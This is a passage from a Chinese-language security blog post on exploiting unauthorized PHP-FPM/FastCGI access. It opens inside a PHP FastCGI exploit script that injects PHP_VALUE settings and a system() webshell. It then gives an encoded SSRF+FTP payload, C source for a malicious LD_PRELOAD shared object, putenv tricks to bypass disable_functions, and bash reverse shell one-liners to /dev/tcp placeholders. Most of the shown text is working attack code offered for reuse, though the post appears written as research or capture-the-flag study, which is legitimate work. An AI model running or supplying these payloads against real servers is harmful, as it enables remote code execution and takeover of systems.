const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://ip:9999/&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php"; //已知一php文件的绝对路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); // unix套字接的方式
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hpdoger.so\nopen_basedir = /"; // extension_dir即为.so文件所在目录
$php_admin_value = "allow_url_include = On";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => $php_admin_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001', // 找准服务端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

4.起FTP服务

1
python3 ftp.py

4.带着payload访问file.php

1
file.php?file=ftp://vps:7777&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

如果有类似这样的回显,int(681)就说明打成功了

img

这种打法有个局限性,就是其不能直接通过php://input的方式来实现任意代码执行,因为我们是将payload发送给服务器的file.php页面,然后服务器(Nginx)再发送给php-fpm,所以我们无法控制服务器发送给FPM的post内容,这和前面直接利用伪造的服务器直接对话php-fpm的方式是不同的。但是我们通过下面要说的加载恶意so文件的方式来RCE。

加载恶意so(扩展)文件

这一部分的内容其实可以单开一篇文章来说,因为加载恶意so文件的方式其实有很多种,也不局限于专门用来打fastcgi,如果可写文件的话,并且没有禁用putenv的话,我们就可以利用LD_PRELOAD环境变量 + putenv的方式来RCE。这里配合php-fpm打其实是扩展了PHP-FPM内网利用的攻击面,当我们无法通过外网的方式来执行任意代码时,可以利用恶意so文件的动态加载来RCE

LD_PRELOAD + putenv

1.LD_PRELOAD是什么

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

简单来说,LD_PRELOAD这个环节变量可以:

  • 优先加载
  • 劫持函数(同名函数)
  • 劫持共享对象

生成共享链接库的命令

1
gcc -shared -fPIC evil.c -o evil.so

了解了LD_PRELOAD,那么我们要想设置环境变量,就需要通过putenv函数

1
putenv('LD_PRELOAD=/tmp/evil.so')

2.如何劫持

这里我们针对php的一些函数来分析一下,比如mail这个函数,其会开启一个子进程(外部进程)来调用sendmail,那么我们就可以劫持这个sendmail进程所调用的一些函数。这里强调一下为什么需要一个函数能开启子进程(外部进程),因为LD_PRELOAD的劫持操作时发生在程序运行(进程运行)之前的,比如上面的mail函数属于某个php文件的进程,这个php文件的进程早就运行了,因此我们无法劫持这个php文件上下文的函数,所以我们要寻找一个新开启的进程,也就是子进程,这样在这个子进程运行之前,就会先加载我们的恶意so文件。

回到mail函数,通过以下命令查看调用mail函数时的子进程

1
strace -f php -fstrace -tf php -r 'mail("","","","");' 2>&1 | grep 'execve'

image-20210509004837908

可以看到其开启了一个子进程来调用/usr/bin/sendmai,那么sendmail进程又调用了哪些函数呢?这么看肯定猜不出来,我们可以拿gdb调试,跟一下sendmail这个进程,这里参考@一叶飘零师傅的https://www.anquanke.com/post/id/175403#h2-3

image-20210509005258391

有很多函数可以用,这里截止一个strcm函数吧,随便选都可以,只要编写的.c代码中没有在声明时导入该函数的库即可(否则无法生成so文件)

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>

void payload() {
system("id");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后生成so文件test2.so,再准备一个页面putenv修改环境变量

1
2
3
4
<?php
putenv("LD_PRELOAD=./test2.so");
mail('','','','');
?>

我们执行一下

image-20210509010634239

跟一下子进程,很明显,执行了id命令

image-20210509010718572

但是上述劫持要求我们找到一个在额外子进程中调用的函数,这是十分麻烦的,有没有一种通用的方式不依赖于劫持函数本身呢?

3.改进方案

__attribute__ ((__constructor__))可以满足要求,有以下说明

It’s run when a shared library is loaded, typically during program startup.

也就是说一个函数被这个属性修饰时,其会在动态链接库被加载时触发,那么我们可改进一下上面的test2.c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
// strcat(buf, " > /tmp/_0utput.txt");
strcat(buf, " > /tmp/test.txt");
system(buf);
}

__attribute__ ((__constructor__)) void hack (void){
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("cmd")) != NULL) {
payload(cmd);
}
}

这样我们就可以不依赖具体函数来实现加载恶意so文件了,使用方法是

1
putenv('LD_PRELOAD=/tmp/fuck.so');putenv('cmd=bash -c /readflag');error_log('test',1,"","");

然后在/tmp/test.txt目录下可以得到命令回显的结果。或者直接反弹shell也可以

1
putenv('LD_PRELOAD=/tmp/fuck.so');putenv('cmd=bash -c \'bash -i >& /dev/tcp/xxxx/xx 0>&1\'');error_log('test',1,"","");

4.一些可以开启子进程的php函数

收集这些函数是非常有必要的,尤其是在绕过disable_functions的时候,下面总结了几个(改天有时间日日手册)

1
2
3
4
mail("","","","")
error_log("test",1,"","")
new Imagick('xxx.wmv') // 需要配合.wmv后缀文件
pcntl_fork

配合php-fpm打

php-fpm未授权访问不仅可以代码执行,还可以修改php配置,这里修改extensionextension_dir这两个配置项同样可以实现前面LD_PRELOAD的效果,这两个配置项用来加载额外的扩展(so)文件,因为同样可以加载我们构造好的恶意so文件。

攻击思路:

  • 准备一个恶意so文件,和前面类似的,可以写个反弹shell(这里有个坑,尽量用bash -c来反弹)
1
system('bash -c \'bash -i >& /dev/tcp/xxxx/xx 0>&1\'');
  • 通过copy或者其他方式上传该so文件以及上面触发ssrf + ftp的file.php文件

  • 修改pwn.php的$php_value中的extension = evil.soextension_dir = /tmp/evil.so,然后生成payload

  • 带着payload访问file.php文件即可反弹shell

总结

这篇文章基本上是站在师傅们的肩膀上拼凑出来的,再次膜师傅,内容比较多,可扩展性也比较强,感觉在这方面还会有新的姿势出现,到时候再慢慢研究一下吧。以上涉及的脚本比较多,放在一个目录里方便查用。

参考

https://xz.aliyun.com/t/5598#toc-5

https://forum.90sec.com/t/topic/129

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://www.anquanke.com/post/id/186186#h2-10

https://www.anquanke.com/post/id/175403#h2-6

https://zhzhdoai.github.io/2019/03/31/TCTF-LD-PRELOAD%E7%B3%BB%E7%BB%9F%E5%8A%AB%E6%8C%81%E7%BB%95%E8%BF%87disable-function/#%E6%96%87%E4%BB%B6%E6%BA%90%E7%A0%81

CATALOG
  1. 1. 前言
  2. 2. 理清PHP-FPM
    1. 2.1. PHP的连接方式
      1. 2.1.1. apache2-module
      2. 2.1.2. CGI 模式
      3. 2.1.3. FastCGI 模式
    2. 2.2. PHP-FPM
      1. 2.2.1. 什么是php-fpm
      2. 2.2.2. php-fpm的两种模式
      3. 2.2.3. 关键的两个配置文件
      4. 2.2.4. 如何安装php-fpm
  3. 3. PHP-FPM 未授权访问攻击原理
    1. 3.1. 漏洞成因
      1. 3.1.1. 缺乏安全性验证
      2. 3.1.2. security.limit_extensions配置
    2. 3.2. 漏洞条件 & 危害
      1. 3.2.1. auto_prepend_file
      2. 3.2.2. allow_url_include
      3. 3.2.3. 文件名
  4. 4. PHP-FPM 打法
    1. 4.1. 从外网打
    2. 4.2. 从内网打
      1. 4.2.1. SSRF + Gopher
      2. 4.2.2. SSRF + FTP
    3. 4.3. 加载恶意so(扩展)文件
      1. 4.3.1. LD_PRELOAD + putenv
      2. 4.3.2. 配合php-fpm打
  5. 5. 总结
  6. 6. 参考